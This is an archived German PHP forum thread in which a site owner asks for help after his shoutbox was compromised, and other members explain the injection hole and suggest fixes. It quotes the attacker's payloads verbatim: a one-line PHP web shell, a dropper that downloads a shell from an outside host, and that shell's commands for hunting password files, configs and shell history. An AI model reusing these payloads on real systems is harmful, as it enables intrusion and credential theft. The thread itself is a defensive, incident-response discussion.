php-resource




Archiv verlassen und diese Seite im Standarddesign anzeigen :
Einbruch zwecklos ?


 
badray
11-03-2008, 20:39 
 
Hallo,

hatte heute in unserer Shoutbox 2 seltsame Einträge von einem Gast.

1.
<?php system($_GET["cmd"]); ?>

2.
<?php $z=fopen("z.php",'w');fwrite($z,file_get_contents("http://faevs.com/z.txt"));fclose($z); ?>

Erst dachte ich mir, daß es sich um einen Spinner handelt, habe dann aber vorsichtshalber auf unserem Webspace nachgeschaut ob etwas auffällig ist.

In dem Webordner, wo unsere PHP-Shoutbox drin ist konnte ich ein neues File finden mit dem Name "z.txt"

Der Inhalt der Datei entspricht auch dem Inhalt des Links aus dem zweiten Teil in der Shoutbox.

Ich habe das File sofort gelöscht und stelle mir jetzt die Frage wie es möglich ist, daß jemand auf unserem Webserver so einfach eine Datei anlegen kann.

Muss ich mir Sorgen machen ????

Bin für jede Art von Hilfe dankbar

Viele Grüße Ray

 
unset
11-03-2008, 20:44 
 
Wahrscheinlich eval'd deine Shoutbox irgendwo irgendwas.

 
badray
11-03-2008, 20:54 
 
Hallo und vielen Dank für die schnelle Antwort.

Allerdings kann ich ehrlich gesagt nicht so viel damit anfangen, bin kein Crack auf dem Gebiet.

Ich mach mir große Sorgen weil in dem Text z.Bsp. auch Sachen drin stehen wie:

array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")



Für mich sieht das wie ein Angriff aus, oder ?

Viele Grüße Ray

 
unset
11-03-2008, 20:57 
 
Ja, das was der dir da eingeschleust hat ist eine sogenannte PHP-Shell. Eine Datei, mit der man ziemlich gut ausleuchten kann, was auf deiner Kiste so alles möglich ist. Da es aber als txt hochgeladen wurde bin ich etwas stutzig.

Du benutzt wahrscheinlich eine vorgefertigte Shoutbox, oder? Darf ich wissen welche? Oder falls nicht, zeig mal den relevanten Code her (da wo die Eintragsdaten angenommen und verarbeitet werden).

 
badray
11-03-2008, 21:06 
 
wir benutzen die Shoutbox von

http://www.shoutpro.com/

Bislang immer sehr zufrieden und kaum Probleme damit gehabt.

Hilft Dir das weiter oder soll ich den ganzen PHP-Code schicken ?

Wird etwas viel ;-)

Viele Grüße Ray

 
unset
11-03-2008, 22:41 
 
Evtl. eine veraltete Version?

Edit: http://milw0rm.org/exploits/3758

 
badray
12-03-2008, 09:02 
 
Also die Version wurde leider nicht mehr weiterentwickelt seit der Version 1.52
Dies liegt aber vor der Zeit als die Sicherheitslücke aufgedeckt wurde ;-(

Der Anbieter hat auch schon seit längerer Zeit sein Forum "offline"

Für mich ist jetzt in erster Linie wichtig ob irgendwelche Daten in die Hände des Angreifers gelangen konnten oder ob es ihm möglich war schädliche Codes auf dem Webspace auszuführen. Spammail, etc.

Gibt es für mich eine Möglichkeit außer die Kontrolle der Files auf dem Webspace dies nachzuvollziehen ?

Habe alles sehr genau angeschaut und kann bislang nichts außergewöhnliches feststellen.

Gruß Ray

 
jahlives
12-03-2008, 10:16 
 
Also deine Shoutbox scheint wirklich Usereingaben direkt an eval() weiterzureichen. Damit wird es möglich, dass ein Textstring als PHP interpretiert und ausgeführt wird. Eingeleitet wurde der Angriff über ein externes File z.txt von faevs.com. Falls du URL Wrapper deaktiviert hättest dann wäre es nicht möglich gewesen das externe File via file_get_contents() einzulesen. Ich würde dir mal empfehlen die Quellcodes aller Files deiner Shoutbox nach eval zu durchsuchen. Prüfe dann welche Daten an diese Funktion durchgereicht werden und wie diese entschärft werden. Ggf würde es bereits ausreichen ein htmlentities() auf die Usereingaben zu machen, das würde dann nämlich die PHP-Tags ungültig machen und eval() müsste sich mit einer Fehlermeldung verabschieden.
Desweiteren mal den Provider von faevs.com anschreiben ggf auch den Domaininhaber und mitteilen, dass auf seinem Webspace Code liegt, der zu Angriffen oder Angriffsversuchen missbraucht wurde.
Prüfe auch unbedingt die Berechtigungen in deinem Webspace auf irgendwelche Auffälligkeiten. Ändere am besten alle Zugangsdaten (Webspace und MySql DB) in Zusammenarbeit mit deinem Provider. Prüfe deinen Webspace auf allfällige Benutzer, die dir unbekannt sind.

Hier noch die Daten zur Domain http://www.whois.net/whois_new.cgi?d=faevs&tld=com

Gruss

tobi

 
unset
12-03-2008, 10:41 
 
Die Quelldomain wurde höchstwahrscheinlich selbst gekapert.

 
jahlives
12-03-2008, 10:47 
 
Die Quelldomain wurde höchstwahrscheinlich selbst gekapert.

Ein Grund mehr den Inhaber resp dessen Provider zu informieren

 
badray
12-03-2008, 12:53 
 
Hallöchen,

Ich würde dir mal empfehlen die Quellcodes aller Files deiner Shoutbox nach eval zu durchsuchen.

Habe ich gemacht, es gibt nirgends einen Eintrag mit "eval"
Sollte dann kein Problem sein, oder ?

Habe mir nun auf einem zugegeben seltsamen Weg geholfen indem ich die bösen Worte sofort nach Eingabe solcher in unsinnige Eingaben wandle, siehe :

php|^|p****|^|
system|^|s****|^|
GET|^|G****|^|
fopen|^|fo***|^|
fwrite|^|fr***|^|
get|^|g****|^|
contents|^|co***|^|

Aus
<?php system($_GET["cmd"]); ?>
wird dann
<?p**** s****($_G****["cmd"]); ?>

und aus
<?php $z=fopen("z.php",'w');fwrite($z,file_get_contents("http://f******m/z.txt"));fclose($z); ?>
wird dann
<?p**** $z=fo***("z.p****",'w');fr***($z,file_G****_co***("http://f******m/z.txt"));fclose($z); ?>

Ist zwar keine tolle Lösung aber ein Test verlief erfolgreich.

Den Webmaster werde ich anschreiben und ihn auf die Gefahr hinweisen.

Datenbanknutzer und Logins habe ich geändert.

Vielen Dank für Eure Mühe und die guten Tips, welche mich nun etwas schlauer machen ;-)

Gruß Ray

 
unset
12-03-2008, 12:58 
 
Lass auch mal einen Virenscanner über den Inhalt deines Web-Dirs laufen. Die meisten erkennen solche PHP-Shells. Nicht, dass unser Script-Kid sich schon woanders eingenistet hat.

 
jahlives
12-03-2008, 14:08 
 
Willst du denn dass man PHP-Code oder auch JS eingeben kann? Falls nein dann

<?php
preg_replace('/<script.*>.*</script>|<\\?php.*\\?>|<\\?.*\\?>|<%.*%>/iUs','',$usereingabe);


Habe mir nun auf einem zugegeben seltsamen Weg geholfen indem ich die bösen Worte sofort nach Eingabe solcher in unsinnige Eingaben wandle, siehe :

Heisst das du lässt pro Muster einen RegExp drüber? Das würde ich mal mutig als Ressourcenverschwendung bezeichnen... ;)

Gruss

tobi

 
badray
12-03-2008, 19:37 
 
also eigentlich handelt es sich um einen Wortfilter, dieser setzt das Geschriebene um, sonst nix.......


<?php
preg_replace('/<script.*>.*</script>|<\\?php.*\\?>|<\\?.*\\?>|<%.*%>/iUs','',$usereingabe);


verstehe ich nicht wirklich, kannst Du mir etwas auf die Sprünge helfen ?

Vielen Dank und viele Grüße


Ray

 
badray
13-03-2008, 09:34 
 
Hallöchen,

hatte gerade einen netten Anruf aus der Schweiz ................

Am anderen Ende war unser Provider vom Webspace, der mir erklärte, daß unsere Shoutbox in den letzten 2 Tagen ca. 25 GB an Traffic verbraucht hat und für Spammails missbraucht wurde.

Ich habe mich mit dem echt netten Supportmenschen darauf einigen können, daß ich die Shoutbox mit sofortiger Wirkung vom Netz nehme und mich um eine Alternative kümmere.
Mit weiteren Konsequenzen hätte ich dann nicht mehr zu rechnen.

Das ist eine sehr feine Geste von unserem Provider, ich bin begeistert !!!

Ich werde eine dann wohl eine fremd gehostete Shoutbox einbauen, dann liegt das Risiko nicht mehr auf unserer Seite

Viele Grüße Ray

 
unset
13-03-2008, 09:52 
 
Wobei da natürlich Daten deiner User für Dritte offengelegt werden. Das ist bei einer Shoutbox sicherlich eher unkritisch, dennoch bin ich bei sowas immer eher skeptisch.

Wie dem auch sei. Updates checken steht bei mir Morgens immer als erstes auf der ToDo-Liste ;)

 
jahlives
13-03-2008, 09:57 
 
verstehe ich nicht wirklich, kannst Du mir etwas auf die Sprünge helfen ?

Dieser RegExp ersetzt alles zwischen PHP resp Script Tags mit einem Leerstring. Damit werden PHP und JS Codes unschädlich gemacht.

-archiv-

Alle Zeitangaben in WEZ +2. Es ist jetzt 19:49 Uhr.